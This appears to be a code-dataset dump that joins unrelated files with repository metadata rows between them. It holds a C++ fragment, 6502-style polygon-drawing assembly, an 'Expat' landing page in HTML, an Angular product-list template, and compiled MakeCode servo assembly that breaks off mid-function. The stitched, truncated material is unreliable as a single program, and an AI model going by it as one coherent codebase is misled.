{
assert( LThreadType == THREAD_CLIENT );
// 클라이언트 쪽은 0.1초 단위로 콜백 함수 호출하면서 주기적으로 해야 할 일 처리
g_RoomManager->OnPeriodWork( );
} | 22.833333 | 133 | 0.683698 |
b39179548eb418f91a26fbfd50f02e4cbf6aed7a | 14,950 | asm | Assembly | EndingScene/_code/GlobalCode/poly.asm | kosmonautdnb/TheLandsOfZador | 66c9e8ab92f617838afe793a6c9ddaaf7273aadc | [
"MIT"
] | null | null | null | EndingScene/_code/GlobalCode/poly.asm | kosmonautdnb/TheLandsOfZador | 66c9e8ab92f617838afe793a6c9ddaaf7273aadc | [
"MIT"
] | null | null | null | EndingScene/_code/GlobalCode/poly.asm | kosmonautdnb/TheLandsOfZador | 66c9e8ab92f617838afe793a6c9ddaaf7273aadc | [
"MIT"
] | null | null | null | ; CONSTANTS
;-------------------------------------------
NEGBYTEFF = $ff ; if it's negative the low part gets this ; $FF is the right value but $00 looks also good
; VARS
;--------------------------------------------
smallestXFrame ds.b $02, $00
smallestYFrame ds.b $02, $00
largestXFrame ds.b $02, $00
largestYFrame ds.b $02, $00
topy ds.b MAXSPANX,0
downy ds.b MAXSPANX,0
dxtable ds.b MAXSPANX,0
p_subtractdx dc.b $00
;--------------------------------------------------------
;-- polygon drawing helpers
;--------------------------------------------------------
; search for smallest x
MAC SmallestX
ldx #$01
.next
lda p_xr,x
cmp p_xt
bcs . + 2 + 3 + 3
sta p_xt
stx p_t
inx
cpx p_cnt
bne .next
REPEND
ENDM
; search for largest x
MAC LargestX
ldx #$01
.next
lda p_xr,x
cmp p_xt2
bcc . + 2 + 3
sta p_xt2
inx
cpx p_cnt
bne .next
ENDM
; search for smallest y
MAC SmallestY
ldx #$01
.next
lda p_yr,x
cmp p_ytv
bcs . + 2 + 3
sta p_ytv
inx
cpx p_cnt
bne .next
ENDM
; search for largest y
MAC LargestY
ldx #$01
.next
lda p_yr,x
cmp p_ytv2
bcc . + 2 + 3
sta p_ytv2
inx
cpx p_cnt
bne .next
ENDM
MAC GetEdgePoint
stx p_xp
.side1ZeroXDelta
lda p_np1 + {1}*1
sta p_lp1 + {1}*1
lda p_np1 + {1}*1
clc
adc #[$01-{1}*2] & 255
cmp p_cnt
bne .notover
lda #$00
.notover
cmp #$ff
bne .notunder
lda p_cnt
sec
sbc #$01
.notunder
sta p_np1 + {1}*1
ldx p_lp1 + {1}*1
ldy p_np1 + {1}*1
lda p_xr,y
sec
sbc p_xr,x
sta p_dx1 + {1}*1
beq .side1ZeroXDelta
ENDM
MAC CalcSlope
ldx p_lp1 + {1}*1
ldy p_np1 + {1}*1
lda p_yr,x
sta p_yp1 + 1 + {1}*2
lda #$00
sta p_yp1 + 0 + {1}*2
sta p_dya1 + 0 + {1}*2
; check if we must div2 because of spans too big
lda p_ydiv2
beq .notdiv2
jsr ydiv2_{1}
jmp .end
.notdiv2
; the delta adds
lda p_yr,y
sec
sbc p_yr,x
sta p_dya1 + 1 + {1}*2
bpl .pos1
lda #NEGBYTEFF
sta p_dya1 + 0 + {1}*2
.pos1
; now we need the divisions by p_dx1
lda p_dx1 + {1}*1
sta ZP_16BIT8DIVISIONBY
lda #<[p_dya1 + {1}*2]
sta ZP_16BIT8DIVISION + 0
lda #>[p_dya1 + {1}*2]
sta ZP_16BIT8DIVISION + 1
jsr divide16_8
.end
clc
ENDM
; update one side of the polyloop
MAC SideCheck
GetEdgePoint {1}
; check for negative xmovement so we reached polygon end
bpl .notAtPolygonEndSide1
.done
jmp drawPolyBlit
.notAtPolygonEndSide1
;lda #$01
;sta p_newEdgePoint ; for backface culling
; set positions * 256
CalcSlope {1}
ENDM
MAC Side1Check
; side1 update check
ldy p_np1
txa
cmp p_xr,y
bne .notSide1Update
SideCheck 0
ldx p_xp
lda p_yp1 + 1
sta topy,x
.notSide1Update
ENDM
MAC Side2Check
; side1 update check
ldy p_np2
txa
cmp p_xr,y
lda p_dx2
bne .notSide2Update
SideCheck 1
ldx p_xp
lda p_yp2 + 1
sta downy,x
.notSide2Update
ENDM
MAC BACKFACE
;------ backface culling
; check for backface culling
lda p_newEdgePoint
beq .nobackfacetest
lda #$00
sta p_newEdgePoint
lda p_yp2 + 1
sec
sbc p_yp1 + 1
bcs .nobackfacetest
beq .nobackfacetest
cmp #BACKFACETOLERANCE
bcs .nobackfacetest
inc drawnButCulledPolys
rts ; ok, it's backfacing
.nobackfacetest
ENDM
;--------------------------------------------------------
;-- polygon drawing function
;--------------------------------------------------------
; the coordinates of the polygons outside
; ------------------------------------- input section
p_xr ; the input x coordinates lo part (only lo part is used for drawing)
ds.b MAXPOLYPOINTS
p_yr ; the input y coordinates lo part (only lo part is used for drawing)
ds.b MAXPOLYPOINTS
p_cr ; the color of the polygon (0-7)
dc.b $03
;p_cnt ; the number of points surrounding the polygon
; dc.b $04 ; ZEROPAGE
; ------------------------------------- intern
; for largest smallest x search
p_t dc.b $00
p_xt dc.b $00
p_xt2 dc.b $00
; lastpoint and nextpoint in poly
p_lp1 dc.b $00
p_lp2 dc.b $00
p_np1 dc.b $00
p_np2 dc.b $00
; the x rasterposition
p_xstart dc.b $00
p_xend dc.b $00
p_first dc.b $00
p_ytv dc.b $00
p_ytv2 dc.b $00
p_fbdx1 dc.b $00
p_fbdx2 dc.b $00
p_ydiv2 dc.b $00 ; if the absolute of a span is in y bigger the 127 we must set this flag for not so precise but working outlines
;--------------------------------------------------------
SUBROUTINE
;--------------------------------------------------------
drawPolyCore SUBROUTINE
; check for smallest x
; ----------------------
lda #$00
sta p_t
lda p_xr + 0
sta p_xt
SmallestX
; check for largest x
; ----------------------
lda p_xr + 0
sta p_xt2
LargestX
; polygon large size for the div2 flag
lda p_yr + 0
sta p_ytv
sta p_ytv2
SmallestY
LargestY
lda #$00
sta p_ydiv2
lda p_ytv2
sec
sbc p_ytv
cmp #125
bcc .div2normal
lda #$01
sta p_ydiv2
.div2normal
; is smallestx lesser than largest x?
lda p_xt2
sec
sbc p_xt
beq .rts
bcs .do
.rts
rts
.do
inc drawnPolys
; set color
lda p_cr
asl
asl
asl
sta ZP_READCOLOR1 + 0
sta ZP_READCOLOR2 + 0
lda ZP_READCOLOR1 + 0
clc
adc #<COLORBITMASK
sta ZP_READCOLOR1 + 0
lda #>COLORBITMASK
adc #$00
sta ZP_READCOLOR1 + 1
lda ZP_READCOLOR2 + 0
clc
adc #<[COLORBITMASK+4]
sta ZP_READCOLOR2 + 0
lda #>[COLORBITMASK+4]
adc #$00
sta ZP_READCOLOR2 + 1
ldy p_cr
lda COLORBITMASKFULL1,y
sta ZP_COLORFULL1
lda COLORBITMASKFULL2,y
sta ZP_COLORFULL2
; initialize points
lda p_t
sta p_lp1
sta p_lp2
sta p_np1
sta p_np2
; initialize x position
ldy p_t
lda p_xr,y
sta p_xp
sta p_xstart
; for outline performance
lda #$00
sta p_dx1
sta p_dx2
sta p_dx
sta p_subtractdx
; initial condition
ldx p_xp
; the mainloop
;-----------------------------------------
.mainLoop
lda p_dx
sta dxtable,x ; this is used for the fastblit
beq SideChecks
SideChecksDone
inx
ADD16POLY p_yp1,p_dya1,p_yp1
sta topy,x
ADD16POLY p_yp2,p_dya2,p_yp2
sta downy,x
dec p_dx
;sta dxtable,x ; (seems that it suffices to store it only as above)
jmp .mainLoop
SideChecks
lda p_dx1
sec
sbc p_subtractdx
sta p_dx1
lda p_dx2
sec
sbc p_subtractdx
sta p_dx2
Side1Check
Side2Check
lda p_dx2
cmp p_dx1
bcc .wetakethis
lda p_dx1
.wetakethis
sta p_dx
sta p_subtractdx
sta dxtable,x ; this is used for the fastblit
jmp SideChecksDone
; for y div2 polygone outlines (elsway we would have just 127 + or - steps, due to the division)
ydiv2_0 SUBROUTINE
lda p_yr,x
lsr
sta .sub + 1
lda p_yr,y
lsr
sec
.sub
sbc #$44
sta p_dya1 + 1
bpl .pos1
lda #NEGBYTEFF
sta p_dya1 + 0
.pos1
; now we need the divisions by p_dx1
lda p_dx1
sta ZP_16BIT8DIVISIONBY
lda #<[p_dya1]
sta ZP_16BIT8DIVISION + 0
lda #>[p_dya1]
sta ZP_16BIT8DIVISION + 1
jsr divide16_8
; mul2
asl p_dya1 + 0
rol p_dya1 + 1
rts
ydiv2_1 SUBROUTINE
lda p_yr,x
lsr
sta .sub + 1
lda p_yr,y
lsr
sec
.sub
sbc #$44
sta p_dya2 + 1
bpl .pos1
lda #NEGBYTEFF
sta p_dya2 + 0
.pos1
; now we need the divisions by p_dx1
lda p_dx2
sta ZP_16BIT8DIVISIONBY
lda #<[p_dya2]
sta ZP_16BIT8DIVISION + 0
lda #>[p_dya2]
sta ZP_16BIT8DIVISION + 1
jsr divide16_8
; mul2
asl p_dya2 + 0
rol p_dya2 + 1
rts
;--------------------------------------------------------
; here starts the actual blitting of the polygon
;--------------------------------------------------------
drawPolyBlit SUBROUTINE
lda p_xp
sta p_xend
; firstly check the polygon size for the clearing area later
ldy doubleBuffer
cmp largestXFrame,y
bcc .notincreasexl
sta largestXFrame,y
.notincreasexl
lda p_ytv
cmp smallestYFrame,y
bcs .notdecreaseys
sta smallestYFrame,y
.notdecreaseys
; ensure ; the accumulator isn't used here
lda p_xend
sec
sbc #$04
sta p_xendm4
lda p_ytv2
cmp largestYFrame,y
bcc .notincreaseyl
sta largestYFrame,y
.notincreaseyl
; and again polygonsize for the clearing area
lda p_xstart
cmp smallestXFrame,y
bcs .notdecreasexs
sta smallestXFrame,y
.notdecreasexs
sta p_xp
.nextblit
tax
; check for fast blit
and #$03
bne .slowblit
lda dxtable,x
cmp #$04
bcc .perhapsSlowblit
jmp fastBlit
.perhapsSlowblit
jmp PERHAPSSLOWBLIT
.slowblit
SLOWBLIT
lda topy,x
cmp downy,x
bcs .noblitslow
; generate colors and and out
jsr prepareFineDitherColors
; generate bitmap write
ldy topy,x
lda (ZP_MUL10BLITSLOWLO),y
sta .jumpin + 1
lda (ZP_MUL10BLITSLOWHI),y
sta .jumpin + 2
ldy downy,x
lda (ZP_MUL10BLITSLOWLO),y
sta ZP_RTS_PLACER + 0
lda (ZP_MUL10BLITSLOWHI),y
sta ZP_RTS_PLACER + 1
ldy #$00
lda #OPC_RTS
sta (ZP_RTS_PLACER),y
txa
and #%1111100
asl ; * 8
tax
.jumpin
jsr $4444
ldy #$00
lda #OPC_LDA_ABS_X
sta (ZP_RTS_PLACER),y
.doneblit
.noblitslow
inc p_xp
FastBlitDone
lda p_xp
cmp p_xend
bne .nextblit
rts
PERHAPSSLOWBLIT
; look if afterwards comes directly another one
Y SET 1
REPEAT $03
lda dxtable+Y,x
cmp #$04
bcc SLOWBLIT
Y SET Y + 1
REPEND
jmp fastBlit
;--------------------------------------------------
; sets the two colors one hand of the x position
;--------------------------------------------------
prepareFineDitherColors SUBROUTINE
txa
and #$03
tay
lda ANDOUT,y
sta ZP_COLUMN
txa
and #$01
beq .flippeddither
lda (ZP_READCOLOR1),y
sta ZP_COLOR1
lda (ZP_READCOLOR2),y
sta ZP_COLOR2
rts
.flippeddither
lda (ZP_READCOLOR1),y
sta ZP_COLOR2
lda (ZP_READCOLOR2),y
sta ZP_COLOR1
rts
;--------------------------------------------------------
; here starts the fast blitting function
;--------------------------------------------------------
; p_yue dc.b $00 ; end of fine portion up ; ZEROPAGE
; p_yde dc.b $00 ; end of fine portion down ; ZEROPAGE
; p_finePortion dc.b $00 ; 0 to 4 ; ZEROPAGE
; p_ystop dc.b $00 ; for the down cap ; ZEROPAGE
fastBlit SUBROUTINE
lda p_xp
clc
adc #$04
tay
lda topy,y
sta p_yue
cmp topy,x
bcs .not14
lda topy,x
sta p_yue
.not14
lda downy,y
sta p_yde
cmp downy,x
bcc .not24
lda downy,x
sta p_yde
.not24
lda p_yue
and #$01
beq .zwo2
inc p_yue
.zwo2
lda p_yde
and #$01
beq .zwo1
dec p_yde
.zwo1
lda p_yde
cmp p_yue
bcs .do
.do2
jmp SLOWBLIT
.do
lda #$04
sta p_finePortion
.blitnextfine
; prepare fine dither colors
lax p_xp
and #$03
tay
lda ANDOUT,y
sta ZP_COLUMN
txa
and #$01
beq .flippeddither
lda (ZP_READCOLOR1),y
sta ZP_COLOR1
lda (ZP_READCOLOR2),y
sta ZP_COLOR2
jmp .doNormal
.flippeddither
lda (ZP_READCOLOR1),y
sta ZP_COLOR2
lda (ZP_READCOLOR2),y
sta ZP_COLOR1
.doNormal
; generate bitmap write
ldy topy,x
lda (ZP_MUL10BLITSLOWLO),y
sta .jumpin1 + 1
lda (ZP_MUL10BLITSLOWHI),y
sta .jumpin1 + 2
ldy p_yue
lda (ZP_MUL10BLITSLOWLO),y
sta ZP_RTS_PLACER + 0
lda (ZP_MUL10BLITSLOWHI),y
sta ZP_RTS_PLACER + 1
ldy #$00
lda #OPC_RTS
sta (ZP_RTS_PLACER),y
txa
and #%1111100
asl
tax ; * 8
stx .x2 + 1
.jumpin1
jsr $4444
ldy #$00
lda #OPC_LDA_ABS_X
sta (ZP_RTS_PLACER),y
ldx p_xp
; generate bitmap write
ldy p_yde
lda (ZP_MUL10BLITSLOWLO),y
sta .jumpin2 + 1
lda (ZP_MUL10BLITSLOWHI),y
sta .jumpin2 + 2
ldy downy,x
lda (ZP_MUL10BLITSLOWLO),y
sta ZP_RTS_PLACER + 0
lda (ZP_MUL10BLITSLOWHI),y
sta ZP_RTS_PLACER + 1
ldy #$00
lda #OPC_RTS
sta (ZP_RTS_PLACER),y
.x2
ldx #$44
.jumpin2
jsr $4444
ldy #$00
lda #OPC_LDA_ABS_X
sta (ZP_RTS_PLACER),y
dec p_finePortion
beq .donefineblit
inc p_xp
ldx p_xp
jmp .blitnextfine
.donefineblit
inc p_xp
; generate bitmap write
lda p_yue
lsr
tay
lda (ZP_MUL3BLITFASTLO),y
sta .jumpin3 + 1
sta .jumpin4 + 1
lda (ZP_MUL3BLITFASTHI),y
sta .jumpin3 + 2
sta .jumpin4 + 2
lda p_yde
lsr
tay
lda (ZP_MUL3BLITFASTLO),y
sta ZP_RTS_PLACER + 0
lda (ZP_MUL3BLITFASTHI),y
sta ZP_RTS_PLACER + 1
ldy #$00
lda #OPC_RTS
sta (ZP_RTS_PLACER),y
lda p_xp
sec
sbc #$04 ; we need the byte before
tax
asl ; * 8
tax
lda ZP_COLORFULL1
.jumpin3
jsr $4444
inx
lda ZP_COLORFULL2
.jumpin4
jsr $4444
ldy #$00
lda #OPC_STA_ABS_X
sta (ZP_RTS_PLACER),y
jmp FastBlitDone
; ------------------------------------------------ VARS
COLORBITMASK
; 0
dc.b %00000000
dc.b %00000000
dc.b %00000000
dc.b %00000000
dc.b %00000000
dc.b %00000000
dc.b %00000000
dc.b %00000000
; 1
dc.b %00000000
dc.b %00000000
dc.b %00000000
dc.b %00000000
dc.b %01000000
dc.b %00000000
dc.b %00000100
dc.b %00000000
; 2
dc.b %00000000
dc.b %00000000
dc.b %00000000
dc.b %00000000
dc.b %01000000
dc.b %00010000
dc.b %00000100
dc.b %00000001
; 3
dc.b %01000000
dc.b %00010000
dc.b %00000100
dc.b %00000001
dc.b %01000000
dc.b %00010000
dc.b %00000100
dc.b %00000001
; 4
dc.b %01000000
dc.b %00010000
dc.b %00000100
dc.b %00000001
dc.b %10000000
dc.b %00100000
dc.b %00001000
dc.b %00000010
; 5
dc.b %10000000
dc.b %00100000
dc.b %00001000
dc.b %00000010
dc.b %10000000
dc.b %00100000
dc.b %00001000
dc.b %00000010
; 6
dc.b %10000000
dc.b %00100000
dc.b %00001000
dc.b %00000010
dc.b %11000000
dc.b %00110000
dc.b %00001100
dc.b %00000011
; 7
dc.b %11000000
dc.b %00110000
dc.b %00001100
dc.b %00000011
dc.b %11000000
dc.b %00110000
dc.b %00001100
dc.b %00000011
; for whole fillers
COLORBITMASKFULL1
dc.b %00000000
dc.b %01000100
dc.b %01000100
dc.b %01010101
dc.b %10011001
dc.b %10101010
dc.b %11101110
dc.b %11111111
COLORBITMASKFULL2
dc.b %00000000
dc.b %00000000
dc.b %00010001
dc.b %01010101
dc.b %01100110
dc.b %10101010
dc.b %10111011
dc.b %11111111
ANDOUT
dc.b %00111111
dc.b %11001111
dc.b %11110011
dc.b %11111100
MUL10BLITSLOWLO
Y SET 0
REPEAT SCREENYSIZE
dc.b <[BLITSLOW+Y*10]
Y SET Y + 1
REPEND
MUL10BLITSLOWHI
Y SET 0
REPEAT SCREENYSIZE
dc.b >[BLITSLOW+Y*10]
Y SET Y + 1
REPEND
MUL3BLITFASTLO
Y SET 0
REPEAT SCREENYSIZE
dc.b <[BLITFAST+Y*3]
Y SET Y + 1
REPEND
MUL3BLITFASTHI
Y SET 0
REPEAT SCREENYSIZE
dc.b >[BLITFAST+Y*3]
Y SET Y + 1
REPEND
MUL10BLITSLOWLO2
Y SET 0
REPEAT SCREENYSIZE
dc.b <[BLITSLOW2+Y*10]
Y SET Y + 1
REPEND
MUL10BLITSLOWHI2
Y SET 0
REPEAT SCREENYSIZE
dc.b >[BLITSLOW2+Y*10]
Y SET Y + 1
REPEND
MUL3BLITFASTLO2
Y SET 0
REPEAT SCREENYSIZE
dc.b <[BLITFAST2+Y*3]
Y SET Y + 1
REPEND
MUL3BLITFASTHI2
Y SET 0
REPEAT SCREENYSIZE
dc.b >[BLITFAST2+Y*3]
Y SET Y + 1
REPEND
BLITSLOW
Y SET YMOVE
REPEAT SCREENYSIZE/2
lda BITMAP1+[Y & 7]+[Y/8*320]+SCREENXP4*8,x
and ZP_COLUMN
ora ZP_COLOR1
sta BITMAP1+[Y & 7]+[Y/8*320]+SCREENXP4*8,x
Y SET Y + 1
lda BITMAP1+[Y & 7]+[Y/8*320]+SCREENXP4*8,x
and ZP_COLUMN
ora ZP_COLOR2
sta BITMAP1+[Y & 7]+[Y/8*320]+SCREENXP4*8,x
Y SET Y + 1
REPEND
rts
BLITSLOW2
Y SET YMOVE
REPEAT SCREENYSIZE/2
lda BITMAP2+[Y & 7]+[Y/8*320]+SCREENXP4*8,x
and ZP_COLUMN
ora ZP_COLOR1
sta BITMAP2+[Y & 7]+[Y/8*320]+SCREENXP4*8,x
Y SET Y + 1
lda BITMAP2+[Y & 7]+[Y/8*320]+SCREENXP4*8,x
and ZP_COLUMN
ora ZP_COLOR2
sta BITMAP2+[Y & 7]+[Y/8*320]+SCREENXP4*8,x
Y SET Y + 1
REPEND
rts
BLITFAST
Y SET YMOVE
REPEAT SCREENYSIZE/2
sta BITMAP1+[[Y] & 7]+[[Y]/8*320]+SCREENXP4*8,x
Y SET Y + 2
REPEND
rts
BLITFAST2
Y SET YMOVE
REPEAT SCREENYSIZE/2
sta BITMAP2+[[Y] & 7]+[[Y]/8*320]+SCREENXP4*8,x
Y SET Y + 2
REPEND
rts
echo "eof: ",.
| 15.270684 | 132 | 0.655251 |
7d57e6e6b43cd2a3add9d78bd5fb4f66e23e6c77 | 7,686 | html | HTML | index.html | team-expat-0311/landing-pages | 732a878e4048fa1e2a04a0ad13776d7d07a12bb5 | [
"MIT"
] | null | null | null | index.html | team-expat-0311/landing-pages | 732a878e4048fa1e2a04a0ad13776d7d07a12bb5 | [
"MIT"
] | null | null | null | index.html | team-expat-0311/landing-pages | 732a878e4048fa1e2a04a0ad13776d7d07a12bb5 | [
"MIT"
] | 1 | 2019-03-10T21:52:44.000Z | 2019-03-10T21:52:44.000Z | <!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Expat</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<script src="https://cdnjs.cloudflare.com/ajax/libs/gsap/2.1.2/TweenMax.min.js"></script>
<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.7.2/css/all.css" integrity="sha384-fnmOCqbTlWIlj8LyTjo7mOUStjsKC4pOpQbqyi7RrhN7udi9RwhKkMHpvLbHG9Sr" crossorigin="anonymous">
<link rel="stylesheet" type="text/css" media="screen" href="./CSS/index.css" />
<script src="./components/Menu/Menu.js" async></script>
<script src="./components/Tiles/Tiles.js" async></script>
<!-- <script src="./components/Header/Header.js" async></script> -->
</head>
<body>
<div class="container">
<div class="header">
<div>
<i class="fas fa-bars menu-button"></i>
</div>
<div class="menu">
<ul>
<li class='ul1'><a href="index.html">Home</a></li>
<li class='ul2'><a href="about.html">About</a></li>
<li class='ul3'><a href="https://jolly-sinoussi-61f377.netlify.com/">Log in</a></li>
</ul>
</div>
<div class='doIt'>
<h1><i class="fas fa-globe-americas"> Expat</i></h1>
</div>
</div>
<div id="main">
<div class="inner">
<div class='intro'>
<h1><i class="fas fa-globe-americas"> Expat</i></h1>
<h2>A <strong>Global</strong> Community</h2> <h3>Providing fully responsive Platforms that connect like minded <strong></strong>Expats</strong> from all around the world!</h3>
<p>Here at <strong>Expat</strong> we appreciate the needs of expatriates to connect with their family, friends and to make new connections while abroad. This life style is Sometimes temporary, sometimes permanent, but one thing that never changes is the need for a strong community to share our experiences with.<br>Feel free to explore Expat and experience the different platforms we provide to connect with people all across the world!</p>
</div>
<a href="https://jolly-sinoussi-61f377.netlify.com/" class='button1'><p>Free Trail</p></a>
<section class="tiles">
<article class="style sstyle1" data-tab='all'>
<span class="image">
<img src="assets/rsz_expats2.jpg" alt="Expats" />
</span>
<div class="color1"></div>
<a href="#">
<h2>Expats</h2>
<div class="content">
<p>Sed nisl arcu euismod sit amet nisi lorem etiam dolor veroeros et feugiat.</p>
</div>
</a>
</article>
<article class="style sstyle2" data-tab='all'>
<span class="image">
<img src="assets/rsz_region.jpg" alt="" />
</span>
<div class="color2"></div>
<a href="#">
<h2>Region</h2>
<div class="content">
<p>Sed nisl arcu euismod sit amet nisi lorem etiam dolor veroeros et feugiat.</p>
</div>
</a>
</article>
<article class="style sstyle3" data-tab='all'>
<span class="image">
<img src="assets/rsz_latest2.jpg" alt="" />
</span>
<div class="color3"></div>
<a href="#">
<h2>Latest</h2>
<div class="content">
<p>Sed nisl arcu euismod sit amet nisi lorem etiam dolor veroeros et feugiat.</p>
</div>
</a>
</article>
<article class="style sstyle4" data-tab='all'>
<span class="image">
<img src="assets/popular.jpg" alt="" />
</span>
<div class="color4"></div>
<a href="#">
<h2>Popular</h2>
<div class="content">
<p>Sed nisl arcu euismod sit amet nisi lorem etiam dolor veroeros et feugiat.</p>
</div>
</a>
</article>
<article class="style sstyle5" data-tab='all'>
<span class="image">
<img src="assets/rsz_beach.jpg" alt="" />
</span>
<div class="color5"></div>
<a href="#">
<h2>Aliquam</h2>
<div class="content">
<p>Sed nisl arcu euismod sit amet nisi lorem etiam dolor veroeros et feugiat.</p>
</div>
</a>
</article>
<article class="style sstyle6" data-tab='all'>
<span class="image">
<img src="assets/rsz_expats.jpg" alt="" />
</span>
<div class="color6"></div>
<a href="#">
<h2>Veroeros</h2>
<div class="content">
<p>Sed nisl arcu euismod sit amet nisi lorem etiam dolor veroeros et feugiat.</p>
</div>
</a>
</article>
<article class="style sstyle7" data-tab='all'>
<span class="image">
<img src="assets/rsz_cliff.jpg" alt="" />
</span>
<div class="color7"></div>
<a href="#">
<h2>Ipsum</h2>
<div class="content">
<p>Sed nisl arcu euismod sit amet nisi lorem etiam dolor veroeros et feugiat.</p>
</div>
</a>
</article>
<article class="style sstyle8" data-tab='all'>
<span class="image">
<img src="assets/rsz_latest.jpg" alt="" />
</span>
<div class="color8"></div>
<a href="#">
<h2>Dolor</h2>
<div class="content">
<p>Sed nisl arcu euismod sit amet nisi lorem etiam dolor veroeros et feugiat.</p>
</div>
</a>
</article>
<article class="style sstyle9" data-tab='all'>
<span class="image">
<img src="assets/rsz_beachHouse.jpg" alt="" />
</span>
<div class="color9"></div>
<a href="#">
<h2>Nullam</h2>
<div class="content">
<p>Sed nisl arcu euismod sit amet nisi lorem etiam dolor veroeros et feugiat.</p>
</div>
</a>
</article>
</section>
<!-- Footer -->
<footer id="footer">
<div class="inner-footer">
<section>
<h2>Follow</h2>
<ul class="icons">
<li><a href="#" class="icon"><i class="fab fa-twitter"></i></a></li>
<li><a href="#" class="icon"><i class="fab fa-facebook"></i></a></li>
<li><a href="#" class="icon"><i class="fab fa-instagram"></i></a></li>
<li><a href="#" class="icon2"><i class="fab fa-500px"></i></a></li>
</ul>
</section>
</div>
</footer>
</div>
</div>
</div>
</div>
</body>
</html> | 38.818182 | 455 | 0.455634 |
420136627d382b41cacdbb7382f21b8376d0928f | 1,497 | html | HTML | PTC/src/app/product/product-list.component.html | rdonalson/Angular-Security | f02c0c4367f042231d340141147a7aca521930e6 | [
"MIT"
] | null | null | null | PTC/src/app/product/product-list.component.html | rdonalson/Angular-Security | f02c0c4367f042231d340141147a7aca521930e6 | [
"MIT"
] | null | null | null | PTC/src/app/product/product-list.component.html | rdonalson/Angular-Security | f02c0c4367f042231d340141147a7aca521930e6 | [
"MIT"
] | null | null | null | <div class="row">
<div class="col-xs-12">
<h1>Product List</h1>
</div>
</div>
<div class="row" *ngIf="products && products.length">
<div class="col-xs-12">
<!-- <button class="btn btn-primary" (click)="addProduct()" *hasClaim="['canAddProduct','canAccessCategories']">
Add New Product
</button> -->
<button class="btn btn-primary" (click)="addProduct()" *hasClaim="'canAddProduct'">
Add New Product
</button>
</div>
</div>
<div *ngIf="products && products.length">
<table class="table table-bordered table-striped table-condensed">
<thead>
<tr>
<th>Edit</th>
<th>Product Name</th>
<th>Introduction Date</th>
<th class="text-right">Price</th>
<th>URL</th>
<th>Delete</th>
</tr>
</thead>
<tbody>
<tr *ngFor="let product of products">
<td>
<a href="#" class="btn btn-primary" [routerLink]="['/productDetail', product.productId]">
<i class="glyphicon glyphicon-pencil"></i>
</a>
</td>
<td>{{product.productName}}</td>
<td>{{product.introductionDate | date:"MM/dd/yyyy"}}</td>
<td class="text-right">{{product.price | currency}}</td>
<td>{{product.url | lowercase}}</td>
<td>
<button (click)="deleteProduct(product.productId)" class="btn btn-danger">
<i class="glyphicon glyphicon-trash"></i>
</button>
</td>
</tr>
</tbody>
</table>
</div>
| 29.94 | 116 | 0.55177 |
9e83397a49615f4b51fc57cd8852a742b6366a2f | 18,477 | asm | Assembly | built/binary.asm | flecleach/pxt-move-mini | 51387e014f56af938f2e84861154546daef33339 | [
"MIT"
] | null | null | null | built/binary.asm | flecleach/pxt-move-mini | 51387e014f56af938f2e84861154546daef33339 | [
"MIT"
] | null | null | null | built/binary.asm | flecleach/pxt-move-mini | 51387e014f56af938f2e84861154546daef33339 | [
"MIT"
] | null | null | null | ; code sizes (bytes): 1572 (incl. 0 frags, and 0 lits); src size 0
; assembly: 1294 lines; density: 74.86 bytes/stmt
; total bytes: 206372 (85.0% of 237.0k flash with 36316 free)
; peep hole pass: 6 instructions removed and 17 updated
; peep hole pass: 4 instructions removed and 4 updated
; peep hole pass: 0 instructions removed and 0 updated
; start
.startaddr 0x32000
.hex 708E3B92C615A841C49866C975EE5197 ; magic number
.hex 0B6D0A053587D7CB ; hex template hash
.hex 4FDCC1A242235E9A ; program hash
.short 3 ; num. globals
.short 0 ; patched with number of words resulting from assembly
.word _pxt_config_data
.short 0 ; patched with comm section size
.short 0 ; reserved
.word 0 ; reserved
;
; Function <main>
;
.section code
b .themain
.balign 4
_main___P1_Lit:
.short 0xffff, 33 ; action literal
.themain:
@stackmark litfunc
push {lr}
@dummystack 4
bl _lambda_setup_0
bl _main___P1
pop {r4, r5, r6, r7, pc}
@stackempty litfunc
.section code
_main___P1:
@stackmark func
@stackmark args
push {lr}
@stackmark locals
_main___P1_locals:
movs r0, #1
ldr r1, _ldlit_2
bl input::onButtonPressed
@stackempty locals
movs r0, #2
ldr r1, _ldlit_3
bl input::onButtonPressed
@stackempty locals
movs r0, #26
ldr r1, _ldlit_4
bl input::onButtonPressed
@stackempty locals
ldr r0, [r6, #8]
bl _pxt_decr
movs r0, #201
str r0, [r6, #8]
@stackempty locals
ldr r0, [r6, #4]
bl _pxt_decr
movs r0, #1
lsls r0, r0, #8
adds r0, #145
str r0, [r6, #4]
@stackempty locals
.ret.1:
@stackempty locals
_main___P1_end:
pop {pc}
@stackempty func
@stackempty args
;
; Function inline
;
.section code
.balign 4
inline__P329_Lit:
.short 0xffff, 33 ; action literal
@stackmark litfunc
push {lr}
@dummystack 4
bl _lambda_setup_0
bl inline__P329
pop {r4, r5, r6, r7, pc}
@stackempty litfunc
.section code
inline__P329:
@stackmark func
@stackmark args
push {lr}
@stackmark locals
inline__P329_locals:
movs r0, #181
push {r0} ; proc-arg
bl turnRight__P330
_proccall0:
bl _clr1_1
@dummystack -1
@stackempty locals
.ret.329:
@stackempty locals
inline__P329_end:
pop {pc}
@stackempty func
@stackempty args
;
; Function turnRight
;
.section code
.balign 4
turnRight__P330_Lit:
.short 0xffff, 33 ; action literal
@stackmark litfunc
push {lr}
@dummystack 5
bl _lambda_setup_2
bl turnRight__P330
add sp, #4*1 ; pop locals 1
pop {r4, r5, r6, r7, pc}
@stackempty litfunc
.section code
turnRight__P330:
@stackmark func
@stackmark args
push {lr}
movs r0, #0
push {r0} ;loc
@stackmark locals
turnRight__P330_locals:
bl _pxt_incr_pushR0_8
@dummystack 1
ldr r0, [sp, #4*0] ; estack
ldr r1, _ldlit_5
bl numops::muls
bl _clr1_1
@dummystack -1
push {r0} ; proc-arg
ldr r0, [r6, #4]
bl _pxt_incr_pushR0
@dummystack 1
ldr r0, [sp, #4*1] ; estack
ldr r1, [sp, #4*0] ; estack
bl numops::div
bl _clr2_3
@dummystack -2
push {r0}; tmpstore @1
bl _pxt_decr_4
pop {r0} ; tmpref @1
str r0, [sp, locals@0]
@stackempty locals
movs r0, #8
movs r1, #130
bl pins::servoWritePin
@stackempty locals
movs r0, #9
movs r1, #130
bl pins::servoWritePin
@stackempty locals
bl _pxt_incr_pushR0_0
@dummystack 1
bl _conv_4
bl control::waitMicros
bl _clr1_1
@dummystack -1
@stackempty locals
bl stop__P335
_proccall1:
